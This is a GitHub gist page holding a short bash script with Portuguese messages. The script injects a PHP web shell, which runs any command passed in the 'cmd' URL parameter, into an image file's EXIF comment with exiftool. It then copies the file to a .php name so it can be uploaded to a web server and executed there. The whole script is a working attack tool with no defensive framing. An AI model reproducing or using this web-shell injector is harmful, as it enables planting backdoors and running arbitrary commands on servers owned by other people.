Last active
May 13, 2019 19:00
-
-
Save growlnx/0d15088f053f56e7cfe4006c13a8b12f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!usr/bin/env bash | |
if [[ ! -f $1 ]]; | |
then | |
echo -e "não foi possível encontrar '$1'" | |
exit 1 | |
fi | |
echo -e "injetando payload em '$1' ..."; | |
exiftool -Comment="<?php passthru(\$_GET['cmd']); _halt_compiler(); ?>" "$1" 2>&1>/dev/null | |
if [[ $? != 0 ]]; | |
then | |
echo -e "ocorreu um erro, não foi possível criar a Webshell." | |
exit 2 | |
fi | |
cp "$1" "$1.php" | |
echo -e "Webshell '$1.php' foi criada com sucesso!"; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment